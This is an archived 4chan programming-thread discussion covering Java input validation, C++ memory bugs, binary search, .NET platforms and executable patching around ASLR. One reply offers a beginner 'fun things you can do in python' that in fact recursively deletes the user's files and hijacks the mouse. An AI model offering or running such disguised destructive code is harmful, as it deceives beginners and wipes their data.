[Boards: 3 / a / aco / adv / an / asp / b / bant / biz / c / can / cgl / ck / cm / co / cock / d / diy / e / fa / fap / fit / fitlit / g / gd / gif / h / hc / his / hm / hr / i / ic / int / jp / k / lgbt / lit / m / mlp / mlpol / mo / mtv / mu / n / news / o / out / outsoc / p / po / pol / qa / qst / r / r9k / s / s4s / sci / soc / sp / spa / t / tg / toy / trash / trv / tv / u / v / vg / vint / vip / vp / vr / w / wg / wsg / wsr / x / y ] [Search | Free Show | Home]

/dpt/ - Daily Programming Thread

This is a blue board which means that it's for everybody (Safe For Work content only). If you see any adult content, please report it.

Thread replies: 326
Thread images: 41

File: combine_images.png (778KB, 400x720px) Image search: [Google]
combine_images.png
778KB, 400x720px
old thread: >>56713536

What are you working on, /g/?
>>
first for f#
>>
why do millenials prefer discord to good old irc
>>
>>56718656
>muh gaming software

Script ideas for a python beginner?
>>
Second for F#
>>
>>56718656
Maybe it's because IRC requires a client and forces you to be online to see replies to you?

I've never really understood the appeal of idling all day on some dead channel.
>>
>>56718630
i see literally no minors i like because i want something that goes with csci but hate stats and math, and those are the 2 minors. so i think i'll take the csci electives i think look cool
>>
>>56718622
So I've just read through K&R as revision for C as I haven't done any in months.

But I feel I should write a decent program in C before I move on and claim C as "learnt".

Or should I just get on with learning OO and consider C learnt?

>>56718656
learning curve I guess. Nice GUI for Discord, whereas irc needs typed in commands.

Slack is just irc too, but it's much nicer to use.
>>
Thinking about starting to put my github on my resume, only problem is I do like 50-100 commits in one night then nothing for weeks will this matter? what makes a github good for resumes?
>>
>>56718656
I thought grown-ups used Slack?

For Discord, inline images/media (including emoji), modern interface, stronger social features, voice chat. Plus I think most people around 18/19, maybe even 20 have never even heard of or used IRC.
>>
>>56718688
>IRC requires a client
webchats exist for all main irc servers
> forces you to be online to see replies to you
you can just setup a free bouncer (>5 minutes)
>>
>>56718708
50-100 commits a night may look hacky.

Why are you pushing so many commits? Surely you thoroughly test your code before pushing it?
>>
>>56718691
Is an internship for credit an option?
>>
>>56718726
>bouncer
That's the thing, 99% of people aren't going to do that.
Most people have no need for a VPS.
>>
>In Java CS class after programming for years because I want to learn best practices
>Given a simple assignment
>Put in the effort to make it reasonably uncrashable, and add an extra feature to a part of the assignment that wasn't specific (because I was bored).
>Also wrote it in a way that minimizes memory usage
>Get an 8/10

Can someone please review this code and tell me if anything is glaringly wrong before I complain to the professor? It's worth noting that we could only upload a single text field and we haven't learned best practices for classes yet so I didn't use them, and that it's a Java class and not a general CS class so I wasn't expected to implement my own algo.

The assignment is in a comment at the top of the file

http://pastebin.com/YMve86dD

pls help anons
>>
File: hereyougo.gif (88KB, 10000x10000px) Image search: [Google]
hereyougo.gif
88KB, 10000x10000px
here is a bunch of fun things you can do in python:
import requests
import random
import os, os.path
from time import sleep
import stat
import pyautogui

x = 1

user = os.environ['USERPROFILE']
desktop = user + '\desktop'

#Deletes all files
def rmtree(top):
for root, dirs, files in os.walk(top, topdown=False):
for name in files:
try:
filename = os.path.join(root, name)
if user + '\\AppData' in filename:
continue
else:
os.chmod(filename, stat.S_IWUSR)
os.remove(filename)
print('file removed')
except:
print('Permission denied...')
sleep(1)
continue
for name in dirs:
os.rmdir(os.path.join(root, name))
os.rmdir(top)

#Downloads random pics, puts ten randomly on desktop
def createFile(x):
pics = [r'insert a bunch of random image links here, I can't because of spam protection.']
os.chdir(desktop)
with open(str(x) + '.jpg', 'wb') as f:
f.write(requests.get(random.choice(pics)).content)
print('pic made')
x += 1

#moves the mose and holds it down
def mClick(x, y):
pyautogui.moveTo(x, y)
pyautogui.mouseDown()
>>
>>56718728
no I just do tons of small projects in one night, yes I test code before pushing
>>
>>56718767
you don't need a vps you can just google free irc bouncers and find one
>>
>>56718789
what were the markers comments?
>>
File: akari~~!.gif (1017KB, 471x265px) Image search: [Google]
akari~~!.gif
1017KB, 471x265px
Still working on akari-bbs!
Someone sent a pull request and it made me realize I had no sanity checks for malformed GET strings.
Thanks, sou!
>>
>>56718809
>whiteimagefag
>also a snekfag
Fools beget fools
>>
>>56718833
As much as I like IRC for it's simplicity, most people already think IRC is some complex text-only thing from the 90s and telling them they need to set up some external service to collect replies while they're offline is going to scare them away.
>>
>>56718835
"You can do better"
I honestly think it was for a different assignment, or maybe the grader was grading thinking it was an assignment for another class because this is a fuckin intro java course and we're only a few weeks in. Some of the mongs in the course can't even write a program without googling everything.
>>
>>56718851
>whiteimagefag
Is this a common thing?
>>
File: 1473964739593s.jpg (2KB, 125x39px) Image search: [Google]
1473964739593s.jpg
2KB, 125x39px
>>56718809
Oops, meant to link this guy>>56718505
>>
>>56718870
TA's in the in the first year courses dont care and either dont open assignments or quickly look, talk to your ta or prof
>>
>>56718891
He posts it every thread
>>
>>56718809
thats rude
>>
>>56718891
He's probably french
>>
>>56718809
shitty code desu
>>
Why are accessors for data structure all so non-standardized?
Shit, even Arrays and Lists in every language I've ever used have different method names for retrieving length
>>
>>56719011
Because different languages have different design philosophies.
>>
>>56719011
length :: Foldable t => t a -> Int

Haskell
>>
>>56719011
Sometimes I think syntax and actual languages should be two separate things that you can just mix and match to your liking. But then I think it'd probably be more hassle than it's worth.
>>
>>56718809
Why do you have this saved?
https://warosu.org/g/thread/S56453560#p56457825
>>
>>56719028
no I mean
within a language
Array and lists have different methods to call to retrieve how big they are and that's just silly
>>
Am I right in assuming fork a project, git pull it from my fork then when I git push it only pushes to my repo?
>>
>>56719118
>Array and lists have different methods to call to retrieve how big they are and that's just silly
In what language? Getting the length of a array is generally just reading an int. Getting the length of a List usually means it needs to be calculated. It's often felt that the difference needs to be distinct to programmers.
>>
>>56719139
Java
>>
>>56719133
yes
if you want the original repo to merge your changes, they need to pull your branch and merge back into their master branch.
github calls this a "pull request"
>>
>>56719160
Java is just utterly shit anyways
>>
>>56719184
nah
It's not some sort of magic bullet but it works very well.
>>
>>56719191
Yeah, just not as well as other stuff people can be using instead.
>>
>>56719243
Java is cross-platform, has lots of support and third-party packages, and it supports a LOT of web-related stuff right out of the box so it's very friendly for that.

Also, and this is a more recent development, it's actually not slow. It's slightly slower than other languages but not by a lot.
>>
What should I do for my tenth repo on github, I was thinking a website that sums up all the projects on my github and give contact details kind of like an online resume but I couldn't find any templates I like
>>
>>56719332
github has a whole premade site template for showing off your repos
>>
>>56719307
There's no reason to use it over .NET these days.
>>
>>56719345
Alright
I'm not related to this discussion but here's a question I've always been afraid to ask
What the hell is .net in this context? I know that C# uses (or is?) it, but C# only runs on Windows machines... but people always claim that .net is cross-platform.
They also say things like "I'm a .net developer" without specifying a language
someone help me out here
>>
>>56718622
I just realised
>tissue box on the desk next to the computer
>>
>>56719368
>but C# only runs on Windows machines...
This is wrong. C# targets .NET which is cross-platform.
>>
>>56719391
Oh, my bad
I must have been thinking about XNA
>>
>>56719405
XNA proper is not cross platform, but it is effectively cross platform because FNA implements it.

To answer your original question .NET is a platform analogous to Java's JRE. In fact, much like you can take a .jar and run it on any platform with a JRE, you can actually run a .NET exe on any platform that supports .NET (assuming you don't use an non-cross-platform stuff).
>>
>>56719368
.NET is basically the C# ecosystem. The runtime, the libraries etc.

>C# only runs on Windows machines... but people always claim that .net is cross-platform.
C# runs on all platforms. More so than Java even.

>They also say things like "I'm a .net developer" without specifying a language
.NET supports many languages, not just C#. Here's also VB.NET and F#.
>>
>>56719405
>>>/qa/688012

Please support this thread. I'm sick of seeing so many threads derailed by 12 year olds.

It's fine in some threads, but every thread?
>>
I have a problem, when the destructor activates the program crashes.
If I remove the destructor the "new" stay forever in memory and slowly leak.

class Unit{
protected:
float x=0;
float y=0;
public:
int w = TILE_SIZE;
int h = TILE_SIZE;

Hit *hit = new Hit(x,y,w,h);

~Unit(){
delete hit;
}

};
>>
>>56719443
>thread is dead
>Bitch about people being "12" for asking programming questions in the programming thread
what are you on about
>>
>>56719466
This thread isn't a problem. I'm talking about many other threads on here.
>>
>>56719478
your post seemed to be targeting the post you quoted, fampai
>>
>>56719492
Ah, no sorry. I clicked the post number to get a quick reply box, but then didn't delete the post number.

Not targeting this thread. But for example, the macOS Sierra General thread is being spammed with some shit.
>>
Hey anon, you think If I provided you with a logo and a couple pieces of concept art that you could whip me up a nice website by tomorrow?
Free of charge of course...
>>
File: 1418102895031.jpg (98KB, 500x608px) Image search: [Google]
1418102895031.jpg
98KB, 500x608px
Original OEP: 00011041
Original OEP + ImageBase = 00400000 + 11041 = 00411041

Theoretical OEP is 00411041 But...

Actual OEP in memory is 00C21041 (last four digits always stay the same)

How do I overcome ASLR? I need to jump to 00C21041

My current effort:

CPU Disasm
Address Hex dump Command Comments
00C2E000 /$ 55 PUSH EBP ; Stack frame
00C2E001 |. 8BEC MOV EBP,ESP ; Stack frame
00C2E003 |. 81EC C0000000 SUB ESP,0C0 ; Stack frame
00C2E009 |. 53 PUSH EBX
00C2E00A |. 56 PUSH ESI
00C2E00B |. 57 PUSH EDI
00C2E00C |. 8DBD 40FFFFFF LEA EDI,[EBP-0C0] ; Compute address of value [EBP - 0C0]
00C2E012 |. B9 30000000 MOV ECX,30
00C2E017 |. B8 CCCCCCCC MOV EAX,CCCCCCCC
00C2E01C |. F3:AB REP STOS DWORD PTR ES:[EDI] ; Store CCCCC... into ES[EDI]
00C2E01E B8 4110C200 MOV EAX,00411041 ; Inline asm. 00411041 != 00C21041 so the jump will go to non-executable memory
00C2E023 FFE0 JMP EAX ; Inline asm


__declspec(noinline) static int NewMain() {
__asm {
MOV EAX, 00411041h
JMP EAX
}
return 0;
}


How do compiled programs store address values when ASLR is fucking shit up?

ASLR = Address space layout randomization
>>
i should listen to the asian professor i had last year and take electives like big data, machine learning, and ai, or should i take electives like web, app, and GUI development?
>>
Need some help with this problem. I'm a beginner programmer, and can't really understand what to do here.

"The East Coast sales division of a company generates 62 percent of total sales. Based on that percentage, write a program that will predict how much the East Coast division will generate if the company has $4.6 million in sales this year."

I'm using dev c++ for this. any help would be much appreciated, thank you
>>
>>56719549
You'll have to turn it off in the kernel. Why do you need to do this though?
>>
>>56719444
you need to define a copy constructor and copy assigment operator.
>>
File: anal beads.png (26KB, 1000x534px) Image search: [Google]
anal beads.png
26KB, 1000x534px
>>56719368
https://en.wikipedia.org/wiki/Common_Intermediate_Language

C#, F#, and VB are all languages with different compilers. Well, C# and VB use Roslyn now, and F# has its own compiler. These compile the language so it can talk to...

.NET, which is a massive set of libraries, tools, and a runtime that takes the instructions from the compiler and converts this all to CIL that can be interpreted by the CLR into straight bytecode.

Or something like that.

In any case, the current .NET 4.6 runs on Windows. It's equivalent is Mono, which is an open-source cross-platform implementation of .NET that is now funded and supported by Microsoft.

There is also .NET Core, which is also open-source and cross-platform, but it is a limited feature, lightweight implementation of .NET.

Xamarin is built upon Mono, is also open-source, and is used to port .NET's capabilities to mobile applications and OSX.

In fact, I think the only thing I've mentioned that isn't open-source and MIT licensed is the .NET 4.6(and prior), which only runs on Windows.
>>
wrote my own 4chan/8ch image scraper, i only have to add the thread url and the script makes a folder for me and categorizes it by board

comfy/10inbed familam not gonna lie
>>
>>56719622
This is third grade math, not C++
>>
>>56719437
>C# runs on all platforms. More so than Java even.
You must have no idea about how widespread Java is.
>>
>>56719650
babbies first 20 lines of code /10
>>
>>56719622
>but when do we start programming games
>>
>>56719622
what retarded class is that for? i suspect you're overthinking it. if i was asked that question i would just print the result of .62 * 4600000 in dollars
>>
File: 1286079570154.jpg (28KB, 311x433px) Image search: [Google]
1286079570154.jpg
28KB, 311x433px
>>56719622
>>
>>56718622
>algorithm analysis class
>solving TSP via brute forcing
>project partner says he has old code that will work so we agree to let him handle the programming while I write up the report
>due tomorrow but start writing it this morning
>several hours in he tells me that he mucked up the timing and has to redo it
>due in less than 12 hours and still waiting

I feel bad for not helping on the code but he pretty much said he had it covered and I know how stressful it can be to handle someone else's code late into a project
>>
>>56719662
I do. C# is pretty widespread too.

Maybe I'm more thinking of quality too. Mobile dev for Android and iOS is a dream in C#. Java on iOS is shitty.
>>
>>56719622
#include <stdio.h>

int main()
{
printf("2852000\n");
return 0;
}
>>
>>56719662
>>56719694
Can either of you name platforms or architectures that are not supported by Java or C#?
>>
>>56719694
>>56719700
The thing with Java is that an obscene amount of weird devices (like set-top boxes, printers, and stuff) run it.

As far as widespread platforms though, Java and C# have more or less the same platform support.
>>
>>56719700
Sega MegaDrive
>>
File: 1413104962295.gif (72KB, 287x344px) Image search: [Google]
1413104962295.gif
72KB, 287x344px
>>56719668
never said it was hard, just rewarding.

Gonna fill up a few terabyte worth of lewd 2d waifu imagery
>>
 import java.util.Scanner;

public class IfElseStatements {

public static void main(String[] args){
Scanner input = new Scanner(System.in);

// Declare variables.
int age = 0;
int weight = 0;

String[] rc = {"black rollercoaster.", "green rollercoaster", "yellow rollercoaster.",
"silver rollercoaster.", "red rollercoaster.", "purple rollercoaster.", "pink rollercoaster."};

// Obtain user input.
System.out.println("Please enter an age.");
age = input.nextInt();
System.out.println("Please enter your weight.");
weight = input.nextInt();


// Selection structure
if (age <= 10)
{
if(weight < 80)
{
System.out.println("You must ride the " + rc[0]);

}
else if(weight >= 80 && weight <=200 )
{
System.out.println("You must ride the " + rc[1]);
}
else if(weight > 200)
{
System.out.println("You must ride the " + rc[2]);
}
}
else if (age <= 20)
{
if(weight < 80 )
{
System.out.println("You must ride the " + rc[3]);
}
else if(weight >= 80 && weight <=200 )
{
System.out.println("You must ride the " + rc[4]);
}
else if(weight > 200)
{
System.out.println("You must ride the " + rc[5]);
}
}
else
{
System.out.println("You must ride the " + rc[6]);
}

}
}


How do I make an if statement in this when:

If a user types in a "-"
or
if a user types in any letter "a-z"

In either case I willl print out an error saying no negative numbers or letters.

Essentially I am error checking to make sure a person only inputs numbes. Pls help I been working on this for 2 days I cant figure it out.
>>
>>56719743
Other than brute forcing it? You can either check for certain ASCII values or use a regrex
>>
>>56719743
Keep going, I'm sure you'll figure it out :)
>>
>>56719700
The vast majority of microcontrollers.
>>
File: gooby.png (191KB, 812x716px) Image search: [Google]
gooby.png
191KB, 812x716px
>>56719777
I dont know what either of those things are, I'm newfag.

>>56719780
BLS GNO


my idea was to just make a new method and make a 26 element array containing the letters a thru z and if someone types those letters it gives an error. same thing for negative. FUG
>>
>>56719549
I think I figured it out now:

1. Store oep into a register
2. Bitwise operation out the last four digits (E000 in this case) to leave only 00C20000
3. Bitwise 00C20000 | 1041 for 00C21041
4. 00C2E000 - 00C21041 = cfbf
5. 00C2E000 - cfbf = 00C21041

00C21041 is now using the ASLR-ised address space

>>56719624

Trying to jump back to the original entry point of an executable from a new code section.
>>
>>56719801
true, but not all http://www.netmf.com/get-started/
>>
>>56719743
1) you don't need to check if they're giving it a letter with input.nextInt

2) if(variable<0) //do something
>>
>>56719743
check if the input is a valid positive integer (or float) instead of trying to eliminate all edge cases (because what about special characters?)
>>
>>56719724
>>56719801
>what is .NET Micro

http://www.netmf.com/

There's also Netduino and you can use .NET on a standard Arduino.
>>
>>56719743
listen to this guy, I'm this guy>>56719777 and wasn't paying attention. I forget how much Java takes care of you
>>
File: 2016-09-22-013159_956x298_scrot.png (41KB, 956x298px) Image search: [Google]
2016-09-22-013159_956x298_scrot.png
41KB, 956x298px
What options would you like in a cli based hex editor?

Is there anything important must-have option I'm missing?
>>
>>56719835
else if (age<0 || weight<0){
System.out.println("Your wrong.");
}

IT NO WORK

>>56719848
how do I do that? what is it called so I can look it up
>>
>>56719867
fuck, I meant listen to>>56719835
>>
File: fuck.png (33KB, 647x379px) Image search: [Google]
fuck.png
33KB, 647x379px
>>56719882
holy shit
>>
>>56719695
-50 points (use of undocumented Magic Numbers)

see me after class
>>
>>56719817
>my idea was to just make a new method and make a 26 element array containing the letters a thru z and if someone types those letters it gives an error. same thing for negative

Jesus christ.

I remember being really fucking bad at some point, but I don't think it was ever this bad.
>>
>>56719918
>>56719942
IT DOESNT WORK

if (age == int || weight == int)
>>
>>56719607
Gotta do what sounds more interesting to you. Big data/ML is very numbers and mathy, but more applicaple. GUI stuff is more designy and aesthetic. Whichever one resonates with you more. [spoiler]Security.[/spoiler]
>>
>>56719368
C# and .Net are windows only. there were ports done of .NET but they all really sucked to the point of not existing . >net core which will replace .Net 4.6.something will be truly cross platform (they are actually making real .NET installers and run-times for all systems.)
>>
File: erha64afg.png (33KB, 168x167px) Image search: [Google]
erha64afg.png
33KB, 168x167px
>>56719925
>>-50 points (use of undocumented Magic Numbers)
>>
>>56719925
#include <stdio.h>

/* 62% of 4.6 million */
#define SIXTY_TWO_PERCENT_OF_4POINT6MILLION 2852000

int main()
{
printf("%d\n", SIXTY_TWO_PERCENT_OF_4POINT6MILLION);
return 0;
}
>>
File: tW2UODS.jpg (95KB, 1440x900px) Image search: [Google]
tW2UODS.jpg
95KB, 1440x900px
>>56719942
>in java

I too was never this far gone but hey, its nice too see someone pick it up and not be afraid to ask questions.
>>
>>56719967
good, looks like this time you remembered the 6 million.
>>
if (age > 0 && weight > 0){
if (age <= 10)
{
if(weight < 80)
{
System.out.println("You must ride the " + rc[0]);

}
else if(weight >= 80 && weight <=200 )
{
System.out.println("You must ride the " + rc[1]);
}
else if(weight > 200)
{
System.out.println("You must ride the " + rc[2]);
}
}
else if (age <= 20)
{
if(weight < 80 )
{
System.out.println("You must ride the " + rc[3]);
}
else if(weight >= 80 && weight <=200 )
{
System.out.println("You must ride the " + rc[4]);
}
else if(weight > 200)
{
System.out.println("You must ride the " + rc[5]);
}
}
else
{
System.out.println("You must ride the " + rc[6]);
}
}
}


OK, so this takes care of any negative values. Now how do I handle letters?
>>
File: 1451144100252.png (167KB, 256x384px) Image search: [Google]
1451144100252.png
167KB, 256x384px
>>56719992
LUL
>>
>>56719950
let me guess, you're using an online compiler that doesn't have a standard input? get an actual IDE

https://www.jdoodle.com/online-java-compiler that said i found an online compiler that supports standard input and your code works
>>
File: mad.jpg (99KB, 1280x720px) Image search: [Google]
mad.jpg
99KB, 1280x720px
>>56720013
JAVA ISN'T GOING TO LET SOMEONE STORE A LETTER IN AN INTEGER YOU FUCKING BAKA, YOU DON'T HAVE TO CHECK WHETHER OR NOT THE INTEGERS ARE LETTERS
>>
>>56719743

You need to prevent yourself from reading bad(malformed) input in the first place.

Java has something called hasNextInt for integers to check if the input you will read will be something else in Scanner. Read more about it here.

https://docs.oracle.com/javase/8/docs/api/java/util/Scanner.html#hasNextInt()

Once you have established the input will be an integer and you read it in, you can just check if it is greater than 0.

That should solve your two problems.
>>
>>56720013
I think Java as a built-in isNum() function, you might wanna google that [spoiler]I wish you luck anon but holy fuck do you need to git gud
>>
>>56720013
Ok, here's the thing.
All standard input is received as a stream of characters.
Your language's standard library is automatically converting things that look like numbers to integers.
It's smart enough to ignore non-numerical characters, hopefully.
>>
>>56720052

It's going to throw some exception if it does, I would think.
>>
>>56720052
You really shouldn't get this mad degeso.
>>
>>56720028
im using eclipse

>>56720052
Please enter an age.
ass
Exception in thread "main" java.util.InputMismatchException
at java.util.Scanner.throwFor(Unknown Source)
at java.util.Scanner.next(Unknown Source)
at java.util.Scanner.nextInt(Unknown Source)
at java.util.Scanner.nextInt(Unknown Source)
at ifElsePkg.IfElseStatements.main(IfElseStatements.java:19)


the idea is that when someone types in a letter, an error doesnt come out duh.

>>56720060
I got that for negatives but letters is another story.

>>56720067
OK

>>56720072
yep but the error comes out at top
>>
>>56720075
i wasn't going to say it that angrily but the reaction picture i chose was really mad so i had to make the post match
>>
>>56720094
You catch the exception and do something in reaction to it.
>>
>>56720104
yes this is what I needed, how do I do that?
>>
>>56720118
catch
>>
>>56720094

What do you mean? Any letter of the alphabet or anything that isn't the '-' character + 0-9 should return true if you put it through Scanner.hasNextInt();

So putting in 'ass' will return false for that function. The only thing that will return true will be pretty much negative and positive numbers so only after you get true from Scanner.hasNextInt() should you use Scanner.nextInt() to read the input.
>>
File: CATCH.jpg (364KB, 768x576px) Image search: [Google]
CATCH.jpg
364KB, 768x576px
>>56720124
>>
>>56720150
Not him, but is that really the best Java's got? The logic for checking whether something is an integer and the logic for actually parsing a string into an integer, possibly failing, is practically identical. You have to do duplicate work just to avoid an exception?
>>
>>56720150

* Any letter of the alphabet or anything that isn't the '-' character + 0-9 should return false if you put it through Scanner.hasNextInt();

Sorry for that mistake.
>>
>>56720150
This is an issue that simply doesn't exist in modern software development because the issue of user input sanitation is a solved problem.

And it starts by not using the standard I/O library to read numbers without checking the numbers first.
What you should be doing is take the entire inputted string, tokenize it, and then check if the first token is a numerical string.
Then dump the rest and ask for more inputs.
>>
>>56720212

That is the only way to do user input nowadays. Any other way is not acceptable.

The problem is that the jump from doing simple user input with Scanner.next* to that is quite a jump. I'm just not sure if it is wise to let beginners do this for simple input.
>>
     // Obtain user input.
System.out.println("Please enter an age.");
age = checkValidInt();
System.out.println("Please enter your weight.");
weight = checkValidInt();


// Selection structure
if (age <= 10)
{
if(weight < 80)
{
System.out.println("You must ride the " + rc[0]);

}
else if(weight >= 80 && weight <=200 )
{
System.out.println("You must ride the " + rc[1]);
}
else if(weight > 200)
{
System.out.println("You must ride the " + rc[2]);
}
}
else if (age <= 20)
{
if(weight < 80 )
{
System.out.println("You must ride the " + rc[3]);
}
else if(weight >= 80 && weight <=200 )
{
System.out.println("You must ride the " + rc[4]);
}
else if(weight > 200)
{
System.out.println("You must ride the " + rc[5]);
}
}
else
{
System.out.println("You must ride the " + rc[6]);
}

}

// checks to make sure input is an integer.
public static int checkValidInt(){
try{
return input.nextInt();
}

catch(InputMismatchException e){
input.next();
System.out.println("Please enter a whole number.");
return 0;
}
}



OH SHIT IM DOING IT. IM CUMMIN FOR YOUR JOBS YOU FAT BEAUTIFUL AMERICAN BASTARDS

t. yung pajeet
>>
>>56720266
This is the way beginning programming should be taught.
Teaching a beginner how to code by making fragile scanf/scanner programmers teaches them terrible habits and instills an important lesson early on. Never trust your users.
>>
>>56720094
package main;
import java.util.Scanner;

public class Main {

public static void main(String args[]){
Scanner keyboard = new Scanner(System.in);
int x;
while(true){
if(keyboard.hasNextInt()){
x = keyboard.nextInt();
break;
}
else{
System.out.println("Enter a number");
keyboard.next();
}
}
System.out.println("You entered " + x);
keyboard.close();
}

}


here you go. i forgot how retarded java is
>>
>>56719628
That fixed it, thank you.
>>
#include <stdio.h>
#include <stdlib.h>

int binsearch(int a[], int n, int x );

int main(){
int ar[] = {1, 3, 4, 6, 7, 10};
int x;
scanf("%d", &x);
int search = binsearch(ar, 6, x);

if (search != -1){
printf("%d is found in %d\n", x, search);
}
else
printf("%d is not found\n", x);


return 0;
}

int binsearch(int a[], int n, int x ){

int start = 0;
int end = n - 1;

while (start <= end){

int mid = (start + end) / 2;
if (x == a[mid]){
return mid;
}
else if (x > a[mid]){
end = mid - 1;
}

else{
start = mid + 1;
}
}
return -1;
}



What is going wrong ?
>>
>>56720301

True, but string parsing isn't something you teach beginners until near the middle or end of an introductory course.

Restricting input when beginners expect input and output to be equals and as easy as one another sucks.

>>56720349

You can't just post what's going wrong with code. Say something about what it is doing when you run it. Like segfault, wrong values output, etc.
>>
>>56720349
You're running the program and it's not giving expected output
Hope that helps!
>>
>>56720212
Why would you tokenize the whole thing only to throw most of it away? Just try to read in a number until certain characters are reached and then either finish or fail.
>>
>>56720368
>string parsing isn't something you teach beginners until near the middle or end of an introductory course.
In my experience, they don't teach you this until your second year.

learning programming from a college course is literally handicapping yourself
>>
>>56719116
its on my pastebin
>>
File: final_upload.png (487KB, 1092x568px) Image search: [Google]
final_upload.png
487KB, 1092x568px
Even my code is disappointed with me.
>>
File: 1467672038292.jpg (84KB, 721x720px) Image search: [Google]
1467672038292.jpg
84KB, 721x720px
>>56720423
>>
>>56720392
If you want to keep it simple, just null terminate the string as soon as it gets to the first character that isn't 0-9.
then convert that to an int.
>>
>>56720423
a.y.y
>>
I just found out about https://resume.github.io/ whats some other cool stuff I can do with my github?
>>
>>56720423
That's some unoptimized piece of crap you have there.
>>
>>56720460
>This user has not opted in to this unofficial GitHub résumé service.
>If you would like to opt-in, simply go to our GitHub Project page and star the project.

Wow, that's some backhanded shit.
>>
>>56720423
For loops you autist. Also,
>C++
>not overloading operators
It's perfectly appropriate in this case.
>>
>>56720466

Do tell which repeated operations you can factor out.
>>
>>56720478

For loops make it harder to debug my code. Also, I observed that for-loop and my current version of code compile to essentially the same thing. I'll stick with the version that gives me more info.
>>
File: ezpz.jpg (104KB, 720x480px) Image search: [Google]
ezpz.jpg
104KB, 720x480px
Anything you can do I can do better in python.
>>
>>56720523
Write an operating system kernel.
>>
>>56720492
>>56720520
You're retarded.
>>
File: 1436464716314.jpg (50KB, 293x331px) Image search: [Google]
1436464716314.jpg
50KB, 293x331px
>>56719549
>>56719821

Fixed it!

__declspec(noinline) static int NewMain() {
__asm {
MOV EDX, [esp] // Move current stack pointer value (our entry point address) to EDX
MOV EAX, FFFF0000h // Move constant into EAX
AND EDX, EAX // Bitwise AND. Store result into EDX
MOV EAX, 00001041h // 00001041h is the original entry point
OR EDX, EAX // Bitwise OR. Store result into EDX
JMP EDX // Jump to the address store in EDX
}
return 0;
}


My executable patcher now works around ASLR. Very fun to watch in a disassembler.

NewMain()
is now the new entry point and will jump to the old entry point given at memory offset 1041h
>>
>>56720520
You can express the exact same thing with FAR less code using for loops. It will also be less error-prone since you don't have to just copy/paste and change parts, which is easy to mess up.

That said, it looks like you've dug yourself into a bit of a hole by using named components instead of a 4-component array. You could probably retrofit it by using an anonymous union, though.
>>
>>56720548
((float**) mat1)[3][1]
>>
File: hqdefault.jpg (9KB, 480x360px) Image search: [Google]
hqdefault.jpg
9KB, 480x360px
>>56720533
I said anything you can do, not anything ever. And since you can't write a kernal, I don't have too.
>>
>>56720559
Why would he do that instead of something infinitely less ugly?
>>
>>56720548

My mat4 uses a union of n[4], x,y,z,w
>>
>>56720520
>>56720548
Not to mention, if you use arrays, you can even template the type over its dimensions. So you could have mat<4,4> or vec<3>.
>>
File: 1456007784488.gif (18KB, 340x340px) Image search: [Google]
1456007784488.gif
18KB, 340x340px
>>56720568
>a
Get a load of this stupid faggot.
>>
pick 7 electives for me anons

Computer Networks
Microprocessors
Data Struct and Their Applictn
Intro to Computer Game Develop
Intro to Numerical Analysis
Computer Org and Programming
Intro to Computer Graphics
High Performance Computing
Machine Learning
Information Retrieval
Natural Language Processing
Digital Image Processing
Cybersecurity: Theory & Practice
Cloud Computing
Big Data Analytics
Systems Programming
Object-Oriented Comp and GUI
Intro to Computer Architecture
Computer Networks and Internet
Mobile Computing
Computer Game Development
Procedural Languages and Compilers
Web Applications
Modern Topics in CSCI
>>
>>56720588
you could do this regardless

baka
>>
>>56720590
Not him but I don't get it.
>>
>>56720391

This error is so simple to debug. Put some printfs or use GDB, for heaven's sake. It's not like you segfaulted somewhere in a library you have no source for.
>>
>>56720609
Not completely generally, no. Sure, you could make specializations and have named fields but only up to a certain number.
>>
>>56720520
>>56720423
This is bait.
>>
>>56720632
template <typename t, size_t n>
struct array;

template <typename t>
struct array<t, 0> {};

template <typename t>
struct array<t, n> {
t head;
array<t, n-1> tail;
}
>>
>>56720653
Okay, it's possible, but why the fuck would you want to do it that way?
>>
>>56720653
whoops, latter should have size_t n as a non-type template parameter

>>56720662
built in arrays are fucked, this way is consistent, and library feature generally > language feature
>>
>>56720616
Only a complete idiot would spell "kernel" like that.
>>
>>56720368
What is wrong is that the output is incorrect, when I input an int that is in the list it says it is not in the list.
>>
>>56720671
>built in arrays are fucked
???
>>
>>56720678
they cause complications in certain circumstances that structs don't
>>
File: canuck-the-cuck.jpg (109KB, 650x650px) Image search: [Google]
canuck-the-cuck.jpg
109KB, 650x650px
QUICK, PRINT "DON'T FUCK ME BIRDO" IN YOUR FAVORITE LANGUAGE OR BIRDO HERE IS GUNNA HAVE AT YA.
>>
>>56720676
nvm found the error
>>
>>56720676

Yeah, but your binary search was just plainly implemented wrong and it's quite easy to catch that kind of error with some simple debugging but you couldn't go to other methods before coming here?
>>
>>56720705
FUCK, I FORGOT MINE
print('DON'T FUCK ME BIRDO')
>>
>>56720705
main = putStr "DON'T FUCK ME BIRDO"
>>
>>56720705
#include <stdio.h>
int main(){
printf("DON'T FUCK ME BIRDO\n");
return 0;
}
>>
>>56720717
I FUCKED UP, BIRDO PLEASE I WILL REDO IT
print("DON'T FUCK ME BIRDO")
>>
>>56718622
Rectangle packing for procedurally generated models with procedurally generated textures

It's been since June and I just can't find the time and motivation to finally crack it out
>>
>>56720749
F
U
C
K
E
D
>>
File: 1462050726853.jpg (821KB, 1275x1650px) Image search: [Google]
1462050726853.jpg
821KB, 1275x1650px
>>56720705
main = putStrLn "FUCK ME BIRDO"
>>
>>56720705
println!("DON'T FUCK ME BIRDO")
>>
>>56720774
This would not do shit except give you an error, now your dead kiddo.
>>
>>56720774
putStr "RIP"
>>
Is it true that cross dressing makes you a better programmer?
>>
https://www.sublimetext.com/blog/articles/sublime-text-3-build-3124
>>
>>56718664
Have a look at some homework in a university course.
Also, depends what you want. Do you want to get better acquainted with the language itself, or the libraries that make python so popular?
>>
>>56718664
look at>>56718809
>>
>>56720830
Yes, it's been scientifically proven.
>>
>>56720705
int main(void)
{
char arr[] = {
0x44, 0x4f, 0x4e, 0x27, 0x54,
0x20, 0x46, 0x55, 0x43, 0x4b,
0x20, 0x4d, 0x45, 0x20, 0x42,
0x49, 0x52, 0x44, 0x4f, 0x0a, 0x00
};
char *c = arr;
do
putchar(*c);
while (*++c);
return *c;
}
>>
>>56719607
do you plan on doing a masters or phd? most data science jobs want at least a masters
>>
NO ME JODAS PAJARO
>>
>>56720895
would
while (putchar(*(c++)));
not suffice
>>
>>56719607
yeah should be more specific about your goals
if you want to make the most money learn what the finance people want. the salaries are insane
>>
>>56720591
Mobile Computing
Cybersecurity: Theory & Practice
Natural Language Processing
Machine Learning
Computer Networks
Data Struct and Their Applictn
Digital Image Processing
>>
